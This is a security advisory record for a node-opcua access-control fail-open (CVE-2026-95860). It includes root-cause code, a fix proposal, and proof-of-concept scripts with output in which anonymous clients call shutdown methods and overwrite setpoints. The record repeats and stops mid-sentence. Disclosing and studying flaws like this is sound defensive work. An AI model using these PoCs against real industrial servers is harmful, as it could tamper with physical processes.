{"id":"CVE-2026-95860","aliases":["EUVD-2026-116210","GHSA-xggf-m53x-jc3f"],"status":"published","title":"node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions","description":"node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.","severity":{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00596,"percentile":0.48943,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1188","CWE-285","CWE-636","CWE-863"],"published":"2026-11-03T20:11:38.816Z","modified":"2026-11-10T16:15:06Z","fixes":[{"ecosystem":"npm","package":"node-opcua","fixed_in":["2.180.0"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"node-opcua-address-space","fixed_in":["2.180.0"],"sources":["ghsa","osv"]},{"ecosystem":"npm","package":"node-opcua-server","fixed_in":["2.180.0"],"sources":["ghsa","osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"node-opcua","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.42.0"},{"fixed":"2.180.0"}]}]},{"source":"ghsa","ecosystem":"npm","package":"node-opcua-address-space","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.42.0"},{"fixed":"2.180.0"}]}]},{"source":"ghsa","ecosystem":"npm","package":"node-opcua-server","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"2.42.0"},{"fixed":"2.180.0"}]}]},{"source":"osv","ecosystem":"npm","package":"node-opcua","ranges":[{"type":"SEMVER","events":[{"introduced":"2.42.0"},{"fixed":"2.180.0"}]}]},{"source":"osv","ecosystem":"npm","package":"node-opcua-address-space","ranges":[{"type":"SEMVER","events":[{"introduced":"2.42.0"},{"fixed":"2.180.0"}]}]},{"source":"osv","ecosystem":"npm","package":"node-opcua-server","ranges":[{"type":"SEMVER","events":[{"introduced":"2.42.0"},{"fixed":"2.180.0"}]}]}],"products":[{"vendor":"node-opcua","product":"node-opcua"}],"references":[{"url":"https://github.com/node-opcua/node-opcua/security/advisories/GHSA-xggf-m53x-jc3f","tags":["x_refsource_CONFIRM","exploit","advisory","web"]},{"url":"https://github.com/node-opcua/node-opcua/pull/1580","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/node-opcua/node-opcua/commit/0261e873900800983c622e01120f484dc6063698","tags":["x_refsource_MISC","fix","web"]},{"url":"https://github.com/node-opcua/node-opcua/releases/tag/v2.180.0","tags":["x_refsource_MISC","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-95860","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-xggf-m53x-jc3f"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/95xxx/CVE-2026-95860.json","tags":["advisory"]},{"url":"https://github.com/node-opcua/node-opcua","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-95860","title":"node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions","description":"node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.","status":"published","published":"2026-11-03T20:11:38.816Z","modified":"2026-11-07T03:30:26.343Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"cna"}],"cwes":["CWE-285","CWE-636","CWE-863","CWE-1188"],"updated_at":"2026-11-07T04:32:31.343254Z"}],"euvd":[{"id":"EUVD-2026-116210","description":"node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions","status":"published","published":"2026-11-10T15:56:52Z","modified":"2026-11-10T15:56:52Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"updated_at":"2026-11-10T17:21:44.229469Z"}],"ghsa":[{"id":"GHSA-xggf-m53x-jc3f","title":"node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions","description":"## Summary\n\nAn unauthenticated (**Anonymous**) client can **Write** protected Variables and **Call** privileged Methods on any Node that lacks explicit per-node permissions.\n\nThis follows the inheritance model defined by OPC UA Part 3, §5.2.9, where nodes without an explicit `RolePermissions` attribute inherit the namespace `DefaultRolePermissions`. OPC 10000-3 §4.8.3 mandates a **default-deny** evaluation (`Bad_UserAccessDenied` when the operation bits are not set); `node-opcua` instead **grants all permissions**.\n\nThe root cause is a combination of an authorization **fail-open** and a **disconnect** between the configuration API and the runtime enforcement path.\n\n---\n\n## Affected configuration\nThis advisory covers two cases that are not equally severe:\n1. No RolePermissions declared anywhere - resolution is permissive. This is node-opcua's documented behaviour for a server with no access control configured, so nothing is being bypassed. Worth fixing as an insecure default (CWE-1188), but it is not the 9.1 bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value, so a server that declared no policy is NOT exposed.\n2. A policy is declared and silently ignored - setDefaultRolePermissions() succeeds and does nothing, so an operator who believes they locked the namespace down has not. This is the real bypass and this is what earns CVSS 9.1. It requires that someone declared a namespace default.\nEverything below describes case 2 unless stated otherwise.\n\n\n## Root Cause Analysis\n\n### Bug 1 - `getPermissionForRole(null)` returns `allPermissions` (violates §4.8.3 default-deny)\n\nFile: `packages/node-opcua-address-space/source/session_context.ts:151-153`\n\n```ts\nfunction getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag {\n    if (rolePermissions === null) {\n        return allPermissions; // null means \"grant everything\" to ANY role, including Anonymous\n    }\n```\n\nWhen the applicable policy resolves to `null`, the function returns `allPermissions` (Read, Write, Call) to whichever role is checking permissions, **including Anonymous**. OPC 10000-3 §4.8.3 requires the opposite: *\"If they are not set the Server returns `Bad_UserAccessDenied`.\"*\n\n### Bug 2 - The namespace default resolves to `null` on the enforcement path\n\nThe runtime enforcement reads the `DefaultRolePermissions` / `DefaultUserRolePermissions` Variable nodes under `Server/Namespaces/\u003cns\u003e`. These resolve to `null` in every reachable configuration:\n\n- **NodeSet2-loaded namespaces** (DI / ADI / vendor) ship the Property **without a `Value`** (`null`).\n- **Programmatically-created namespaces** have **no `NamespaceMetadata` node** under `Server/Namespaces`, so the lookup returns `null`.\n\nAdditionally, `server_engine.ts:947-957` rewrites these nodes to a Null-typed value on every `initialize()`, with no restore:\n\n```ts\nfor (const ns of namespacesNode.getComponents()) {\n    const defaultRolePermissions = ns.getChildByName(\"DefaultRolePermissions\") as UAVariable | null;\n    if (defaultRolePermissions) {\n        defaultRolePermissions.setValueFromSource({ dataType: DataType.Null });\n    }\n}\n```\n\n\u003e **Note:** the loaded value is already `null` in stock nodesets, so this reset only changes the value's `dataType` tag; it is **not** the sole cause, the namespace default is `null` regardless.\n\n### Bug 3 - Two incoherent enforcement paths\n\nThere are two separate and disconnected paths to resolve namespace-default permissions.\n\n**Path A (private field)** - `Namespace.setDefaultRolePermissions()` writes the policy exclusively to a JavaScript private field in `namespace_impl.ts`:\n\n```ts\npublic setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void {\n    this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined;\n}\n```\n\nThis is the value read by local getters (e.g. `BaseNodeImpl.getRolePermissions(inherited=true)`).\n\n**Path B (UAVariable node)** - the runtime access-control enforcement (Read/Write/Call) queries the `DefaultRolePermissions` **UAVariable node** instead of the private field (`session_context.ts`):\n\n```ts\nconst defaultRolePermissions = uaNamespaceObject.getChildByName(\"DefaultRolePermissions\") as UAVariable;\nif (defaultRolePermissions) {\n    const dataValue = defaultRolePermissions.readValue();\n    if (dataValue?.statusCode.isGood()) {\n        return dataValue.value.value as RolePermissionType[] | null;\n    }\n}\n```\n\nBecause Path B reads the variable node and Path A writes the private field, the two are disconnected. The enforcement path resolves the namespace default to `null`,  the metadata node is **absent** (programmatic namespace) or **Null-valued** (nodeset namespace)  and the operator's `setDefaultRolePermissions()` field is never consulted. That `null` then triggers the fail-open (Bug 1).\n\n\u003e *Measured:* with `setDefaultRolePermissions([Operator])` applied, `namespace.getDefaultRolePermissions()` returns the policy while `getApplicableRolePermissions()` returns `null`.\n\nSynchronization between the two paths only happens if the operator calls `setNamespaceMetaData()`, which binds the field to the node via `bindVariable()`:\n\n```ts\nmetaData.defaultRolePermissions?.bindVariable(\n    {\n        get: () =\u003e\n            new Variant({\n                dataType: DataType.ExtensionObject,\n                arrayType: VariantArrayType.Array,\n                value: namespace.getDefaultRolePermissions()\n            })\n    },\n    true\n);\n```\n\nWithout calling `setNamespaceMetaData()`, `setDefaultRolePermissions()` has **no effect** on runtime authorization. **Furthermore, on NodeSet2-loaded namespaces `setNamespaceMetaData()` throws `\"INamespace meta data already exists\"` (PoC-C), so for those namespaces there is no working way to activate the namespace default at all.**\n\n---\n\n## Steps to Reproduce\n\n### PoC-A - Address-space level (unit test, no network)\n\nSave as `packages/node-opcua-address-space/test/test_poc_rbac_failopen.ts`, then run:\n\n```bash\ncd packages/node-opcua-address-space\nnpx mocha ./test/test_poc_rbac_failopen.ts\n```\n\n```ts\nimport { makePermissionFlag } from \"node-opcua-data-model\";\nimport { PermissionType } from \"node-opcua-types\";\nimport { DataType } from \"node-opcua-variant\";\nimport should from \"should\";\nimport { type AddressSpace, makeRoles, type Namespace, SessionContext, WellKnownRoles } from \"..\";\nimport { getMiniAddressSpace } from \"../testHelpers\";\n\nconst _keep = should;\n\ndescribe(\"PoC RBAC fail-open\", () =\u003e {\n    let addressSpace: AddressSpace;\n    let namespace: Namespace;\n\n    before(async () =\u003e {\n        addressSpace = await getMiniAddressSpace();\n        namespace = addressSpace.getOwnNamespace();\n    });\n    after(() =\u003e addressSpace.dispose());\n\n    function anonymousContext(): SessionContext {\n        const ctx = new SessionContext();\n        ctx.getCurrentUserRoles = () =\u003e makeRoles([WellKnownRoles.Anonymous]);\n        return ctx;\n    }\n\n    it(\"A. CONTROL: per-node rolePermissions deny Anonymous\", () =\u003e {\n        const secured = namespace.addVariable({\n            browseName: \"SecuredWithNodePermissions\",\n            dataType: DataType.Double,\n            accessLevel: \"CurrentRead | CurrentWrite\",\n            userAccessLevel: \"CurrentRead | CurrentWrite\"\n        });\n        secured.setRolePermissions([\n            { roleId: WellKnownRoles.Engineer, permissions: makePermissionFlag(\"Read | Write\") }\n        ]);\n        const ctx = anonymousContext();\n        ctx.checkPermission(secured, PermissionType.Write).should.eql(false);\n    });\n\n    it(\"B. VULN: node relying on namespace-default -\u003e Anonymous gets Write\", () =\u003e {\n        const relyingOnDefault = namespace.addVariable({\n            browseName: \"RelyingOnNamespaceDefault\",\n            dataType: DataType.Double,\n            accessLevel: \"CurrentRead | CurrentWrite\",\n            userAccessLevel: \"CurrentRead | CurrentWrite\"\n        });\n        const ctx = anonymousContext();\n        const applicable = ctx.getApplicableRolePermissions(relyingOnDefault);\n        should(applicable).eql(null, \"namespace default resolves to null (no namespace-metadata node)\");\n        ctx.checkPermission(relyingOnDefault, PermissionType.Write).should.eql(true);\n        relyingOnDefault.isUserWritable(ctx).should.eql(true);\n    });\n\n    it(\"C. VULN: bound Method without per-node permission -\u003e Anonymous can Call\", () =\u003e {\n        const obj = namespace.addObject({ browseName: \"PocObject\", organizedBy: addressSpace.rootFolder.objects });\n        const method = namespace.addMethod(obj, {\n            browseName: \"PrivilegedMethod\",\n            inputArguments: [],\n            outputArguments: []\n        });\n        method.bindMethod((inputArguments, context, callback) =\u003e callback(null, { statusCode: 0 as any }));\n        const ctx = anonymousContext();\n        ctx.checkPermission(method, PermissionType.Call).should.eql(true);\n        method.getUserExecutableFlag(ctx).should.eql(true);\n    });\n});\n```\n\n**Output:**\n\n```text\n  PoC RBAC fail-open\n    ✓ A. CONTROL: per-node rolePermissions deny Anonymous\n    ✓ B. VULN: node relying on namespace-default -\u003e Anonymous gets Write\n    ✓ C. VULN: bound Method without per-node permission -\u003e Anonymous can Call\n\n  3 passing\n```\n\n### PoC-B - End-to-end over TCP (programmatic namespace)\n\nSave as `packages/node-opcua/poc_b_e2e_rbac.js`, then run `node poc_b_e2e_rbac.js` (add `--safe` for the control):\n\n```js\nconst {\n    OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,\n    MessageSecurityMode, SecurityPolicy, UserTokenType,\n    WellKnownRoles, makePermissionFlag, setNamespaceMetaData\n} = require(\"node-opcua\");\n\nconst PORT = 48411;\nconst ENDPOINT = `opc.tcp://localhost:${PORT}`;\nconst SAFE_MODE = process.argv.includes(\"--safe\");\nlet parentNodeId, methodNodeId, variableNodeId;\n\nasync function startServer() {\n    const server = new OPCUAServer({\n        port: PORT,\n        securityPolicies: [SecurityPolicy.None],\n        securityModes: [MessageSecurityMode.None],\n        allowAnonymous: true\n    });\n    await server.initialize();\n\n    const ns = server.engine.addressSpace.getOwnNamespace();\n\n    // Operator hardening: namespace-level RBAC, Anonymous excluded\n    ns.setDefaultRolePermissions([\n        { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag(\"Read | Write | Browse | Call\") },\n        { roleId: WellKnownRoles.AuthenticatedUser, permissions: makePermissionFlag(\"Read | Browse\") }\n    ]);\n    if (SAFE_MODE) {\n        setNamespaceMetaData(ns);\n    }\n\n    const device = ns.addObject({ browseName: \"PlantDevice_01\", organizedBy: server.engine.addressSpace.rootFolder.objects });\n    parentNodeId = device.nodeId;\n\n    const method = ns.addMethod(device, { browseName: \"EmergencyShutdown\", inputArguments: [], outputArguments: [] });\n    method.bindMethod((_in, _ctx, cb) =\u003e {\n        console.log(\"[server] EmergencyShutdown EXECUTED by anonymous caller\");\n        cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });\n    });\n    methodNodeId = method.nodeId;\n\n    const variable = ns.addVariable({\n        browseName: \"ReactorSetpoint\",\n        componentOf: device,\n        dataType: DataType.Double,\n        accessLevel: \"CurrentRead | CurrentWrite\",\n        userAccessLevel: \"CurrentRead | CurrentWrite\",\n        value: { dataType: DataType.Double, value: 350.0 }\n    });\n    variableNodeId = variable.nodeId;\n\n    await server.start();\n    console.log(`[server] Listening on ${ENDPOINT}`);\n    return server;\n}\n\nasync function anonymousAttack() {\n    const client = OPCUAClient.create({\n        endpointMustExist: false,\n        securityMode: MessageSecurityMode.None,\n        securityPolicy: SecurityPolicy.None\n    });\n    await client.connect(ENDPOINT);\n    const session = await client.createSession({ type: UserTokenType.Anonymous });\n    console.log(\"[client] Anonymous session activated\");\n\n    let callStatus;\n    try {\n        const r = await session.call({ objectId: parentNodeId, methodId: methodNodeId, inputArguments: [] });\n        callStatus = r.statusCode.toString();\n    } catch (e) { callStatus = e.message; }\n\n    let writeStatus;\n    try {\n        const r = await session.write({\n            nodeId: variableNodeId,\n            attributeId: AttributeIds.Value,\n            value: { value: { dataType: DataType.Double, value: 999.0 } }\n        });\n        writeStatus = r.toString();\n    } catch (e) { writeStatus = e.message; }\n\n    await session.close();\n    await client.disconnect();\n    return { callStatus, writeStatus };\n}\n\n(async () =\u003e {\n    const server = await startServer();\n    try {\n        const { callStatus, writeStatus } = await anonymousAttack();\n        console.log(`\\nMode: ${SAFE_MODE ? \"SAFE\" : \"VULNERABLE\"}`);\n        console.log(`CALL  EmergencyShutdown : ${callStatus}`);\n        console.log(`WRITE ReactorSetpoint   : ${writeStatus}`);\n        const vuln = callStatus.includes(\"Good\") || writeStatus.includes(\"Good\");\n        console.log(vuln ? \"\\nVULNERABLE - Anonymous bypassed namespace RBAC\" : \"\\nSAFE - RBAC correctly enforced\");\n    } finally {\n        await server.shutdown();\n    }\n})().catch(e =\u003e { console.error(e); process.exit(1); });\n```\n\n**Vulnerable output** (`node poc_b_e2e_rbac.js`):\n\n```text\n[server] EmergencyShutdown EXECUTED by anonymous caller\nMode: VULNERABLE\nCALL  EmergencyShutdown : Good (0x00000000)\nWRITE ReactorSetpoint   : Good (0x00000000)\n```\n\n**Control output** (`node poc_b_e2e_rbac.js --safe`):\n\n```text\nMode: SAFE\nCALL  EmergencyShutdown : BadUserAccessDenied (0x801f0000)\nWRITE ReactorSetpoint   : BadUserAccessDenied (0x801f0000)\n```\n\n### PoC-C - End-to-end over TCP (NodeSet2-loaded namespace: no configuration prevents it)\n\nSave as `packages/node-opcua/poc_c_nodeset_rbac.js`, then run `node poc_c_nodeset_rbac.js`:\n\n```js\nconst {\n    OPCUAServer, OPCUAClient, DataType, AttributeIds, StatusCodes,\n    MessageSecurityMode, SecurityPolicy, UserTokenType,\n    WellKnownRoles, makePermissionFlag, setNamespaceMetaData, nodesets\n} = require(\"node-opcua\");\n\nconst PORT = 48412, DI_URI = \"http://opcfoundation.org/UA/DI/\";\nlet deviceId, methodId, variableId;\n\nasync function startServer() {\n    const server = new OPCUAServer({\n        port: PORT,\n        securityPolicies: [SecurityPolicy.None],\n        securityModes: [MessageSecurityMode.None],\n        allowAnonymous: true,\n        nodeset_filename: [nodesets.standard, nodesets.di]\n    });\n    await server.initialize();\n\n    const di = server.engine.addressSpace.getNamespace(DI_URI);\n    di.setDefaultRolePermissions([\n        { roleId: WellKnownRoles.Operator, permissions: makePermissionFlag(\"Read | Write | Browse | Call\") }\n    ]);\n    try {\n        setNamespaceMetaData(di);\n        console.log(\"[server] hardening: metadata bound\");\n    } catch (e) {\n        console.log(\"[server] hardening FAILED:\", e.message);\n    }\n\n    const device = di.addObject({ browseName: \"Pump01\", organizedBy: server.engine.addressSpace.rootFolder.objects });\n    deviceId = device.nodeId;\n\n    const m = di.addMethod(device, { browseName: \"Stop\", inputArguments: [], outputArguments: [] });\n    m.bindMethod((_i, _c, cb) =\u003e {\n        console.log(\"[server] Stop() EXECUTED by anonymous\");\n        cb(null, { statusCode: StatusCodes.Good, outputArguments: [] });\n    });\n    methodId = m.nodeId;\n\n    const v = di.addVariable({\n        browseName: \"Setpoint\",\n        componentOf: device,\n        dataType: DataType.Double,\n        accessLevel: \"CurrentRead | CurrentWrite\",\n        userAccessLevel: \"CurrentRead | CurrentWrite\",\n        value: { dataType: DataType.Double, value: 42 }\n    });\n    variableId = v.nodeId;\n\n    await server.start();\n    return server;\n}\n\nasync function attack() {\n    const client = OPCUAClient.create({ endpointMustExist: false, securityMode: MessageSecurityMode.None, securityPolicy: SecurityPolicy.None });\n    await client.connect(`opc.tcp://localhost:${PORT}`);\n    const s = await client.createSession({ type: UserTokenType.Anonymous });\n    const call = (await s.call({ objectId: deviceId, methodId, inputArguments: [] })).statusCode.toString();\n    const write = (await s.write({ nodeId: variableId, attributeId: AttributeIds.Value, value: { value: { dataType: DataType.Double, value: 999 } } })).toString();\n    await s.close();\n    await client.disconnect();\n    console.log(\"CALL  Stop()   :\", call);\n    console.log(\"WRITE Setpoint :\", write);\n}\n\n(async () =\u003e {\n    const srv = await startServer();\n    try { await attack(); } finally { await srv.shutdown(); }\n})().catch(e =\u003e { console.error(e); process.exit(1); });\n```\n\n**Output:**\n\n```text\n[server] hardening FAILED: INamespace meta data already exists for http://opcfoundation.org/UA/DI/\n[server] Stop() EXECUTED by anonymous\nCALL  Stop()   : Good (0x00000000)\nWRITE Setpoint : Good (0x00000000)\n```\n\n---\n\n## Impact\n\n- **Write** arbitrary values to Variables (`CurrentWrite`) governed only by namespace-level RBAC,  e.g. process setpoints, safety parameters.\n- **Call** bound Methods. Methods have no AccessLevel second gate; `executable` defaults to `true` for bound methods (`ua_method_impl.ts`).\n- Affects **every Node** relying on the namespace `DefaultRolePermissions` inheritance mandated by OPC 10000-3 §5.2.9.\n- Anonymous receives **every** `PermissionFlag` because `null` resolves to `allPermissions`.\n- Availability impact (**A:H**, CVSS **9.8**) is reachable in any deployment binding a Method whose execution affects availability (shutdown / reboot / role-administration); scored `A:N` as deployment-specific.\n\n## What is NOT affected\n\nServers that declare no RolePermissions anywhere (case 1): permissive by documented design, not a bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value and falls in this case.\n\n- Nodes with explicit **per-node** `RolePermissions` (correctly enforced - PoC-A case A).\n- Programmatically-created namespaces where the operator calls **both** `setDefaultRolePermissions()` **and** `setNamespaceMetaData()` (PoC-B `--safe`).\n- Variables without `CurrentWrite` in AccessLevel (the **Call** vector still applies to Methods).\n\n---\n\n## Proposed Fix\n\n1. **Fail-closed** - `getPermissionForRole(null)` should return `PermissionFlag.None`, not `allPermissions` (per §4.8.3 default-deny).\n2. **Coherent path** - `getApplicableRolePermissions()` should use `node.getRolePermissions(inherited=true)`, which already reads the namespace field correctly.\n3. **API safety** - `setDefaultRolePermissions()` should take effect on enforcement directly, without requiring `setNamespaceMetaData()` (which throws on nodeset-loaded namespaces).\n4. **Hardening** - `server_engine.ts:947-957` should not unconditionally reset `DefaultRolePermissions`.\n\n---\n\n## Spec Reference (verified verbatim against the official OPC Foundation reference)\n\n- **OPC 10000-3 §4.8.3 - Evaluating Permissions with Roles:** *\"If the bits corresponding to current operation are set, then the operation can proceed. If they are not set the Server returns `Bad_UserAccessDenied`.\"* (default-deny, the behaviour Bug 1 inverts). \u003chttps://reference.opcfoundation.org/Core/Part3/v105/docs/4.8.3\u003e\n- **OPC 10000-3 §5.2.9 - RolePermissions:** *\"If not specified, the value of `DefaultRolePermissions` Property from the `NamespaceMetadata` Object associated with the Node shall be used instead.\"* and *\"If a Server supports Permissions for a particular Namespace it shall add the `DefaultRolePermissions` Property to the `NamespaceMetadata` Object for that Namespace.\"* \u003chttps://reference.opcfoundation.org/Core/Part3/v105/docs/5.2.9\u003e\n- **OPC 10000-5 §6.3.13 - NamespaceMetadataType** (defines `DefaultRolePermissions` / `DefaultUserRolePermissions` as Properties of the `NamespaceMetadata` Object). \u003chttps://reference.opcfoundation.org/Core/Part5/v104/docs/6.3.13\u003e","status":"published","published":"2026-11-10T15:56:52Z","modified":"2026-11-10T15:57:14Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-285","CWE-636","CWE-863","CWE-1188"],"updated_at":"2026-11-10T16:25:10.795148Z"}],"nvd":[{"id":"CVE-2026-95860","description":"node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.","status":"published","published":"2026-11-03T21:17:45.907Z","modified":"2026-11-07T04:17:35.277Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical","assessor":"secondary"}],"cwes":["CWE-285","CWE-636","CWE-863","CWE-1188"],"updated_at":"2026-11-07T07:04:25.694788Z"}],"osv":[{"id":"CVE-2026-95860","title":"node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions","description":"node-opcua is an OPC UA implementation for TypeScript and Node.js. From 2.42.0 until 2.180.0, namespace-level access control configured through setDefaultRolePermissions is not honored by the runtime enforcement path for nodes without explicit per-node RolePermissions. SessionContext.getApplicableRolePermissions reads a missing or null DefaultRolePermissions metadata value instead of the configured namespace field, and the null result is treated permissively. An anonymous network client can consequently write variables with CurrentWrite access or call bound methods when an operator configured a restrictive namespace default and relied on inheritance. Servers with no declared policy, nodes with explicit per-node permissions, and correctly bound programmatic namespace metadata are outside the authorization-bypass case. This issue is fixed in version 2.180.0.","status":"published","published":"2026-11-03T20:11:38.816Z","modified":"2026-11-08T02:30:38.936429534Z","cvss":[{"version":"3.1","score":9.1,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","level":"critical"}],"cwes":["CWE-1188","CWE-285","CWE-636","CWE-863"],"updated_at":"2026-11-11T11:06:55.120241Z"},{"id":"GHSA-xggf-m53x-jc3f","title":"node-opcua: Namespace-Level RBAC Fail-Open - Anonymous Write/Call Bypass via Unbound `DefaultRolePermissions","description":"## Summary\n\nAn unauthenticated (**Anonymous**) client can **Write** protected Variables and **Call** privileged Methods on any Node that lacks explicit per-node permissions.\n\nThis follows the inheritance model defined by OPC UA Part 3, §5.2.9, where nodes without an explicit `RolePermissions` attribute inherit the namespace `DefaultRolePermissions`. OPC 10000-3 §4.8.3 mandates a **default-deny** evaluation (`Bad_UserAccessDenied` when the operation bits are not set); `node-opcua` instead **grants all permissions**.\n\nThe root cause is a combination of an authorization **fail-open** and a **disconnect** between the configuration API and the runtime enforcement path.\n\n---\n\n## Affected configuration\nThis advisory covers two cases that are not equally severe:\n1. No RolePermissions declared anywhere - resolution is permissive. This is node-opcua's documented behaviour for a server with no access control configured, so nothing is being bypassed. Worth fixing as an insecure default (CWE-1188), but it is not the 9.1 bypass. Stock Opc.Ua.NodeSet2.xml ships DefaultRolePermissions with no Value, so a server that declared no policy is NOT exposed.\n2. A policy is declared and silently ignored - setDefaultRolePermissions() succeeds and does nothing, so an operator who believes they locked the namespace down has not. This is the real bypass and this is what earns CVSS 9.1. It requires that someone declared a namespace default.\nEverything below describes case 2 unless stated otherwise.\n\n\n## Root Cause Analysis\n\n### Bug 1 - `getPermissionForRole(null)` returns `allPermissions` (violates §4.8.3 default-deny)\n\nFile: `packages/node-opcua-address-space/source/session_context.ts:151-153`\n\n```ts\nfunction getPermissionForRole(rolePermissions: RolePermissionType[] | null, role: NodeId): PermissionFlag {\n    if (rolePermissions === null) {\n        return allPermissions; // null means \"grant everything\" to ANY role, including Anonymous\n    }\n```\n\nWhen the applicable policy resolves to `null`, the function returns `allPermissions` (Read, Write, Call) to whichever role is checking permissions, **including Anonymous**. OPC 10000-3 §4.8.3 requires the opposite: *\"If they are not set the Server returns `Bad_UserAccessDenied`.\"*\n\n### Bug 2 - The namespace default resolves to `null` on the enforcement path\n\nThe runtime enforcement reads the `DefaultRolePermissions` / `DefaultUserRolePermissions` Variable nodes under `Server/Namespaces/\u003cns\u003e`. These resolve to `null` in every reachable configuration:\n\n- **NodeSet2-loaded namespaces** (DI / ADI / vendor) ship the Property **without a `Value`** (`null`).\n- **Programmatically-created namespaces** have **no `NamespaceMetadata` node** under `Server/Namespaces`, so the lookup returns `null`.\n\nAdditionally, `server_engine.ts:947-957` rewrites these nodes to a Null-typed value on every `initialize()`, with no restore:\n\n```ts\nfor (const ns of namespacesNode.getComponents()) {\n    const defaultRolePermissions = ns.getChildByName(\"DefaultRolePermissions\") as UAVariable | null;\n    if (defaultRolePermissions) {\n        defaultRolePermissions.setValueFromSource({ dataType: DataType.Null });\n    }\n}\n```\n\n\u003e **Note:** the loaded value is already `null` in stock nodesets, so this reset only changes the value's `dataType` tag; it is **not** the sole cause, the namespace default is `null` regardless.\n\n### Bug 3 - Two incoherent enforcement paths\n\nThere are two separate and disconnected paths to resolve namespace-default permissions.\n\n**Path A (private field)** - `Namespace.setDefaultRolePermissions()` writes the policy exclusively to a JavaScript private field in `namespace_impl.ts`:\n\n```ts\npublic setDefaultRolePermissions(rolePermissions: RolePermissionTypeOptions[] | null): void {\n    this.defaultRolePermissions = rolePermissions ? coerceRolePermissions(rolePermissions) : undefined;\n}\n```\n\nThis is the value read by local getters (e.g. `BaseNodeImpl.getRolePermissions(inherited=true)`).\n\n**Path B (UAVariable node)** - the runtime access-control enforcement (Read/Write/Call) queries the `DefaultRolePermissions` **UAVariable node** instead of the private field (`session_context.ts`):\n\n```ts\nconst defaultRolePermissions = uaNamespaceObject.getChildByName(\"DefaultRolePermissions\") as UAVariable;\nif (defaultRolePermissions) {\n    const dataValue = defaultRolePermissions.readValue();\n    if (dataValue?.statusCode.isGood()) {\n        return dataValue.value.value as RolePermissionType[] | null;\n    }\n}\n```\n\nBecause Path B reads the variable node and Path A writes the private field, the two are disconnected. The enforcement path resolves the namespace default to `null`,  the metadata node is **absent** (programmatic namespace) or **Null-valued** (nodeset namespace)  and the operator's `setDefaultRolePermissions()` field is never consulted. That `null` then triggers the fail-open (Bug 1).\n\n\u003e *Measured:* with `setDefaultRolePermissions([Operator])` applied, `namespace.getDefaultRolePermissions()` returns the policy while `getApplicableRolePermissions()` returns `null`.\n\nSynchronization between the two paths only happens if the operator calls `setNamespaceMetaData()`, which binds the field to the node via 